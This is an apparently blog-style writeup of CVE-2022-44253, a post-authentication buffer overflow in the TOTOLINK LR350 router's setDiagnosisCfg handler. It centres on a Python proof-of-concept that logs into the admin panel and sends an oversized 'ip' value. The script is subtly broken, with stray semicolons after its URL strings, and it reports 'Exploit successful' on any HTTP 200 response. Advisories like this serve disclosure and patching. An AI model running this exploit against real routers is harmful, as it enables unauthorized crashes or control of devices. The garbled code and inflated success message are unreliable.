TOTOLINK's LR350 wireless router model, running firmware version 9.3.5u.6369_B20220309, suffers from a severe vulnerability known as a post-authentication buffer overflow. This flaw can be exploited by an attacker with valid authentication credentials to execute arbitrary code on the router, which might result in gaining unauthorized control over the device or accessing critical information. In this article, we will delve into the technical aspects of this vulnerability (CVE-2022-44253), explore a code snippet, and provide links to original references and details about the exploit itself.

Exploit Details

A post-authentication buffer overflow vulnerability exists in the setDiagnosisCfg function of the TOTOLINK LR350 router firmware. The vulnerability stems from improper validation and handling of the "ip" parameter, allowing an attacker to supply a malicious input that, when processed by the router, overflows the buffer and potentially leads to arbitrary code execution.

To exploit this vulnerability, an attacker must first have valid authentication credentials for the router's admin panel. Once authenticated, they can exploit the vulnerability by sending malicious input through an HTTP request, specifically targeting the setDiagnosisCfg function.

Code Snippet

The following is a Python-based code snippet showcasing a sample exploit for the vulnerability (CVE-2022-44253) in the TOTOLINK LR350 wireless router:

#!/usr/bin/env python3

import requests
import sys

TARGET_IP = "192.168.1.1"
USERNAME = "admin"
PASSWORD = "your_password_here"

try:
    # Login and get session cookie
    login_data = {"username": USERNAME, "password": PASSWORD}
    session = requests.Session()
    r = session.post(f"http://{TARGET_IP}/cgi-bin/web_cgi/login.slt";, data=login_data)
    if r.status_code != 200:
        print("Error logging in.")
        sys.exit(1)

    # Exploit CVE-2022-44253 - Post-authentication buffer overflow
    exploit_payload = "A" * 200
    exploit_data = {
        "act": "setDiagnosisCfg",
        "ip": exploit_payload,  # Arbitrary payload in the 'ip' parameter
        "ping_num": "5",
        "log_enable": ""
    }

    r = session.post(f"http://{TARGET_IP}/cgi-bin/web_cgi/syscfg.slt";, data=exploit_data)
    if r.status_code != 200:
        print("Error exploiting vulnerability.")
        sys.exit(1)

    print("Exploit successful.")
except Exception as e:
    print(f"Error: {e}")

This code snippet demonstrates how to exploit the CVE-2022-44253 vulnerability on a target LR350 router with known credentials. Be sure to replace the PASSWORD variable with the correct password for the router's admin panel before executing the script.

Please note that this code snippet is for educational purposes only. Unauthorized exploitation of any vulnerability is not permitted and may lead to legal consequences.

Further details on this vulnerability can be found at the following resources

1. CVE information: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44253
2. Exploit Database entry: https://www.exploit-db.com/exploits/54195

Conclusion

In this article, we dissected the technical aspects of the CVE-2022-44253 vulnerability, a post-authentication buffer overflow present in TOTOLINK LR350 wireless routers with firmware version 9.3.5u.6369_B20220309. To avoid falling victim to such attacks, router users are advised to update their firmware regularly and follow security best practices when setting up their networks. Additionally, it's essential to be aware of ongoing threats and take preemptive measures to protect against potential attacks.

Timeline

Published on: 11/23/2022 16:15:00 UTC
Last modified on: 11/26/2022 03:43:00 UTC